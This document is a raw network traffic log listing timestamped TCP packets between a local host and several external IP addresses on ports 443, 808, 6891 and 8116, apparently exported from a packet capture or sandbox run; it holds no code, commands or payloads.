Oct 28, 2021 05:06:31.396557093 CEST	443	50141	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:31.396718025 CEST	50141	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:31.396737099 CEST	443	50141	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:31.868675947 CEST	443	50140	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:31.868766069 CEST	443	50140	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:31.868937969 CEST	50140	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:31.871738911 CEST	50140	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:31.871784925 CEST	443	50140	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:32.021517038 CEST	50142	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:32.100320101 CEST	443	50141	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:32.100389957 CEST	443	50141	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:32.100469112 CEST	50141	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:32.100496054 CEST	50141	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:32.106021881 CEST	50141	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:32.106051922 CEST	443	50141	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:32.184027910 CEST	808	50142	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:32.187407017 CEST	50142	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:32.188882113 CEST	50142	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:32.217509031 CEST	50143	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:32.351299047 CEST	808	50142	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:32.351386070 CEST	808	50142	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:32.355304003 CEST	50142	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:32.355353117 CEST	50142	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:32.356055975 CEST	50142	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:32.356249094 CEST	50142	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:32.375189066 CEST	808	50143	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:32.375416040 CEST	50143	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:32.376254082 CEST	50143	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:32.517744064 CEST	808	50142	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:32.518369913 CEST	808	50142	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:32.518533945 CEST	808	50142	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:32.518546104 CEST	808	50142	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:32.518657923 CEST	808	50142	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:32.533512115 CEST	808	50143	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:32.533674955 CEST	808	50143	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:32.533869028 CEST	50143	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:32.534431934 CEST	50143	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:32.539690018 CEST	50143	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:32.539844990 CEST	50143	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:32.691736937 CEST	808	50143	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:32.697153091 CEST	808	50143	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:32.697192907 CEST	808	50143	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:32.697240114 CEST	808	50143	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:32.896440983 CEST	808	50142	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:32.896471024 CEST	808	50142	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:32.896776915 CEST	50142	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:32.902931929 CEST	50142	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:33.031868935 CEST	50144	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:33.065121889 CEST	808	50142	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:33.080523968 CEST	808	50143	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:33.080549002 CEST	808	50143	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:33.080671072 CEST	50143	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:33.085257053 CEST	50143	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:33.198719978 CEST	6891	50144	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:33.198892117 CEST	50144	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:33.199455023 CEST	50144	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:33.201591969 CEST	50145	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:33.244425058 CEST	808	50143	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:33.365791082 CEST	6891	50144	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:33.365838051 CEST	6891	50144	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:33.366029978 CEST	50144	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:33.366523981 CEST	50144	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:33.367818117 CEST	6891	50145	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:33.367990971 CEST	50145	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:33.368944883 CEST	50145	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:33.370398998 CEST	50144	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:33.370544910 CEST	50144	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:33.535506010 CEST	6891	50145	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:33.535563946 CEST	6891	50145	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:33.535715103 CEST	50145	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:33.535806894 CEST	6891	50144	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:33.535914898 CEST	6891	50144	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:33.536557913 CEST	50145	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:33.544142008 CEST	50145	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:33.544373035 CEST	50145	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:33.710515022 CEST	6891	50145	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:33.710550070 CEST	6891	50145	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:33.710568905 CEST	6891	50145	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:33.913470984 CEST	6891	50144	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:33.913499117 CEST	6891	50144	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:33.913569927 CEST	50144	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:33.916701078 CEST	50144	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:34.082391024 CEST	50146	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:34.082442045 CEST	6891	50144	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:34.097014904 CEST	6891	50145	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:34.097047091 CEST	6891	50145	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:34.097121000 CEST	50145	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:34.097151041 CEST	50145	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:34.103677988 CEST	50145	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:34.134855032 CEST	8116	50146	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:34.134958029 CEST	50146	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:34.135775089 CEST	50146	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:34.188009977 CEST	8116	50146	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:34.188256979 CEST	8116	50146	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:34.188333035 CEST	50146	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:34.188919067 CEST	50146	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:34.192804098 CEST	50146	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:34.192945004 CEST	50146	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:34.217432022 CEST	50147	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:34.245366096 CEST	8116	50146	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:34.245862961 CEST	8116	50146	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:34.269984961 CEST	6891	50145	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:34.270530939 CEST	8116	50147	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:34.270617008 CEST	50147	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:34.272347927 CEST	50147	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:34.325362921 CEST	8116	50147	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:34.325520039 CEST	8116	50147	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:34.325587988 CEST	50147	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:34.326200962 CEST	50147	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:34.330156088 CEST	50147	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:34.330255985 CEST	50147	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:34.383250952 CEST	8116	50147	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:34.383274078 CEST	8116	50147	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:34.384435892 CEST	8116	50147	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:34.442186117 CEST	8116	50146	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:34.442215919 CEST	8116	50146	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:34.442315102 CEST	50146	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:34.446069956 CEST	50146	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:34.498472929 CEST	8116	50146	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:34.564028978 CEST	50148	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:34.564069986 CEST	443	50148	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:34.564157009 CEST	50148	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:34.564640045 CEST	50148	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:34.564656973 CEST	443	50148	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:34.567868948 CEST	8116	50147	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:34.567888021 CEST	8116	50147	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:34.567992926 CEST	50147	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:34.568799973 CEST	50147	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:34.573882103 CEST	50147	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:34.626910925 CEST	8116	50147	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:34.685882092 CEST	50149	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:34.685939074 CEST	443	50149	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:34.686073065 CEST	50149	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:34.686609030 CEST	50149	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:34.686625957 CEST	443	50149	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:35.079849005 CEST	443	50148	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:35.080106974 CEST	50148	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:35.080815077 CEST	50148	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:35.080823898 CEST	443	50148	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:35.086273909 CEST	50148	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:35.086291075 CEST	443	50148	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:35.086394072 CEST	50148	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:35.086405039 CEST	443	50148	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:35.208702087 CEST	443	50149	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:35.208962917 CEST	50149	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:35.209594011 CEST	50149	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:35.209611893 CEST	443	50149	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:35.214920044 CEST	50149	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:35.214941025 CEST	443	50149	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:35.215061903 CEST	50149	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:35.215071917 CEST	443	50149	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:35.791367054 CEST	443	50148	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:35.791542053 CEST	50148	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:35.791604996 CEST	443	50148	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:35.791676044 CEST	50148	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:35.794668913 CEST	50148	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:35.794698000 CEST	443	50148	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:35.926763058 CEST	50150	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:35.928584099 CEST	443	50149	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:35.928661108 CEST	443	50149	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:35.928683996 CEST	50149	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:35.928714991 CEST	50149	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:35.935664892 CEST	50149	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:35.935709953 CEST	443	50149	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:36.086313009 CEST	808	50150	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:36.086494923 CEST	50150	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:36.087217093 CEST	50150	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:36.109266043 CEST	50151	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:36.246486902 CEST	808	50150	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:36.246562958 CEST	808	50150	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:36.246669054 CEST	50150	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:36.247313023 CEST	50150	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:36.253002882 CEST	50150	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:36.253213882 CEST	50150	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:36.275623083 CEST	808	50151	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:36.275866032 CEST	50151	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:36.276608944 CEST	50151	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:36.406549931 CEST	808	50150	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:36.412242889 CEST	808	50150	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:36.412266970 CEST	808	50150	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:36.412276030 CEST	808	50150	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:36.412283897 CEST	808	50150	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:36.412296057 CEST	808	50150	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:36.442645073 CEST	808	50151	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:36.442756891 CEST	808	50151	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:36.442867041 CEST	50151	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:36.443269014 CEST	50151	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:36.445950985 CEST	50151	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:36.446086884 CEST	50151	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:36.609278917 CEST	808	50151	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:36.611993074 CEST	808	50151	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:36.612082005 CEST	808	50151	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:36.612099886 CEST	808	50151	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:36.612118006 CEST	808	50151	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:36.612134933 CEST	808	50151	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:36.790549994 CEST	808	50150	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:36.790585041 CEST	808	50150	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:36.790715933 CEST	50150	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:36.794084072 CEST	50150	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:36.908603907 CEST	50152	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:36.953401089 CEST	808	50150	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:36.991178989 CEST	808	50151	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:36.991208076 CEST	808	50151	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:36.991257906 CEST	50151	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:36.998255968 CEST	50151	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:37.075148106 CEST	6891	50152	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:37.075233936 CEST	50152	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:37.076078892 CEST	50152	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:37.107748985 CEST	50153	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:37.164376020 CEST	808	50151	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:37.242424011 CEST	6891	50152	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:37.242574930 CEST	6891	50152	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:37.242660999 CEST	50152	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:37.243175030 CEST	50152	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:37.247634888 CEST	50152	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:37.247766018 CEST	50152	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:37.274491072 CEST	6891	50153	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:37.274754047 CEST	50153	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:37.275712013 CEST	50153	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:37.414563894 CEST	6891	50152	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:37.414975882 CEST	6891	50152	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:37.442116022 CEST	6891	50153	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:37.442150116 CEST	6891	50153	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:37.442240953 CEST	50153	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:37.442728043 CEST	50153	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:37.446419001 CEST	50153	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:37.446563005 CEST	50153	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:37.454754114 CEST	6891	50152	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:37.612829924 CEST	6891	50153	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:37.612876892 CEST	6891	50153	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:37.612889051 CEST	6891	50153	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:37.794485092 CEST	6891	50152	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:37.794544935 CEST	6891	50152	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:37.794712067 CEST	50152	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:37.796896935 CEST	50152	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:37.919846058 CEST	50154	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:37.963259935 CEST	6891	50152	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:37.974165916 CEST	8116	50154	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:37.974353075 CEST	50154	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:37.975043058 CEST	50154	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:37.989134073 CEST	6891	50153	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:37.989162922 CEST	6891	50153	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:37.989376068 CEST	50153	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:37.989859104 CEST	50153	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:37.996764898 CEST	50153	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:06:38.028984070 CEST	8116	50154	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:38.029282093 CEST	8116	50154	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:38.029376984 CEST	50154	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:38.030040026 CEST	50154	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:38.034871101 CEST	50154	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:38.035051107 CEST	50154	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:38.089046955 CEST	8116	50154	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:38.109421015 CEST	50155	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:38.163047075 CEST	6891	50153	45.77.0.96	192.168.2.3
Oct 28, 2021 05:06:38.165596962 CEST	8116	50155	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:38.165735960 CEST	50155	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:38.172409058 CEST	50155	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:38.228287935 CEST	8116	50155	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:38.228624105 CEST	8116	50155	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:38.229010105 CEST	50155	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:38.229547977 CEST	50155	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:38.233211994 CEST	50155	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:38.233285904 CEST	50155	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:38.268821955 CEST	8116	50154	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:38.268877029 CEST	8116	50154	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:38.269109964 CEST	50154	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:38.269165993 CEST	50154	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:38.272128105 CEST	50154	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:38.289124012 CEST	8116	50155	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:38.326302052 CEST	8116	50154	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:38.393163919 CEST	50156	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:38.393210888 CEST	443	50156	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:38.393321037 CEST	50156	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:38.393939972 CEST	50156	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:38.393953085 CEST	443	50156	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:38.462542057 CEST	8116	50155	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:38.462583065 CEST	8116	50155	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:38.462642908 CEST	50155	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:38.462687016 CEST	50155	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:38.469403028 CEST	50155	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:06:38.525263071 CEST	8116	50155	185.56.219.47	192.168.2.3
Oct 28, 2021 05:06:38.592391968 CEST	50157	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:38.592442036 CEST	443	50157	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:38.592534065 CEST	50157	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:38.593100071 CEST	50157	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:38.593127012 CEST	443	50157	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:38.914535046 CEST	443	50156	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:38.914753914 CEST	50156	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:38.915402889 CEST	50156	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:38.915412903 CEST	443	50156	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:38.921153069 CEST	50156	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:38.921173096 CEST	443	50156	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:38.921318054 CEST	50156	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:38.921324968 CEST	443	50156	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:39.109643936 CEST	443	50157	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:39.109916925 CEST	50157	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:39.110985994 CEST	50157	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:39.111005068 CEST	443	50157	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:39.116471052 CEST	50157	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:39.116496086 CEST	443	50157	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:39.116627932 CEST	50157	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:39.116640091 CEST	443	50157	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:39.632679939 CEST	443	50156	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:39.632770061 CEST	443	50156	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:39.632807970 CEST	50156	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:39.632932901 CEST	50156	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:39.637358904 CEST	50156	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:39.637389898 CEST	443	50156	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:39.772267103 CEST	50158	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:39.823354959 CEST	443	50157	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:39.823441029 CEST	443	50157	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:39.823442936 CEST	50157	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:39.823498011 CEST	50157	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:39.829901934 CEST	50157	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:06:39.829926968 CEST	443	50157	192.46.210.220	192.168.2.3
Oct 28, 2021 05:06:39.932512045 CEST	808	50158	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:39.932679892 CEST	50158	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:39.933237076 CEST	50158	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:40.001764059 CEST	50159	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:40.093346119 CEST	808	50158	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:40.093617916 CEST	808	50158	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:40.093718052 CEST	50158	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:40.094240904 CEST	50158	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:40.097742081 CEST	50158	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:40.097842932 CEST	50158	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:40.166107893 CEST	808	50159	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:40.166237116 CEST	50159	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:40.167434931 CEST	50159	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:06:40.254264116 CEST	808	50158	143.244.140.214	192.168.2.3
Oct 28, 2021 05:06:40.257841110 CEST	808	50158	143.244.140.214	192.168.2.3
